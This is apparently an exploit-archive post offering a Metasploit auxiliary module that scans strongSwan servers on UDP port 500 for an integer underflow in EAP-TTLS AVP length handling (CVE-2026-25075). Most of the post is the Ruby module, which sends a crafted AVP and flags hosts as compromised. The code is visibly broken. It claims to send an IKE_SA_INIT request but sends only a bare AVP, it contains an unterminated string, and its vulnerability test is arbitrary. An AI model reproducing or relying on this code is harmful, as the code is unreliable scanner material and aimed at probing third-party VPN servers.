📄 strongSwan 4.5.0 EAP-TTLS Integer Underflow

==================================================================================================================================
    | # Title     : strongSwan 4.5.0 EAP-TTLS Integer Underflow Vulnerability Scanner                                                |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://strongswan.org/                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module is designed to detect a vulnerability in strongSwan’s EAP-TTLS implementation, identified as CVE-2026-25075. 
                     The issue is related to an integer underflow in the handling of AVP (Attribute-Value Pair) length fields during IKE-related UDP communication.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::Udp
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report
    
    def initialize(info = {})
    
    super(
    update_info(
    info,
    'Name' => 'strongSwan EAP-TTLS AVP Integer Underflow Scanner',
    
    'Description' => %q{
    
    This module exploits CVE-2026-25075 in strongSwan to investigate a flaw in the handling of AVP (Integer Underflow) length. The module sends a 1-length AVP header with no data, which is sufficient to detect the vulnerability without causing a crash. Server.
    
    },
    'Author' => ['indoushka'],
    
    'License' => MSF_LICENSE,
    
    'References' => [
    ['CVE', '2026-25075'],
    
    ['URL', 'https://www.strongswan.org/']
    
    ],
    
    'DisclosureDate' => '2026-02-15',
    
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    
    'Reliability' => [],
    
    'SideEffects' => []
    
    }
    )
    )
    
    register_options(
    [
    Opt::RPORT(500),
    
    OptInt.new('IKE_TIMEOUT', [true, 'IKE request response timeout in seconds', 5])
    
    ]
    )
    
    end
    
    def craft_test_avp
    
    # Code: 79 (EAP-Message), Flags: 0x40 (Mandatory), Length: 1
    
    [79].pack('N') + [0x40].pack('C') + [1].pack('N')[1, 3]
    
    end
    
    def run_host(ip)
    
    vprint_status("#{ip} - Starting the CVE-2026-25075 scan...")
    
    begin
    
    connect_udp
    
    print_status("#{ip} - Sending an IKE_SA_INIT request...")
    
    test_packet = craft_test_avp
    
    udp_sock.put(test_packet)
    
    res = udp_sock.get(datastore['IKE_TIMEOUT'])
    
    if res
    
    if is_vulnerable?(res)
    
    print_good("#{ip} - Target is compromised With CVE-2026-25075 vulnerability!)
    
    report_vuln(
    host: ip,
    name: self.name,
    refs: self.references,
    info: 'Server accepted AVP with invalid length (Integer Underflow)'
    
    )
    else
    vprint_status("#{ip} - Server correctly rejected the packet.")
    end
    
    else
    vprint_error("#{ip} - No response received from the server.")
    end
    
    rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
    
    vprint_error("#{ip} - Unable to connect to UDP port #{datastore['RPORT']}")
    
    ensure
    disconnect_udp
    end
    end
    
    def is_vulnerable?(data)
    return false unless data && !data.empty?
    
    data.unpack1('C') == 1
    end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================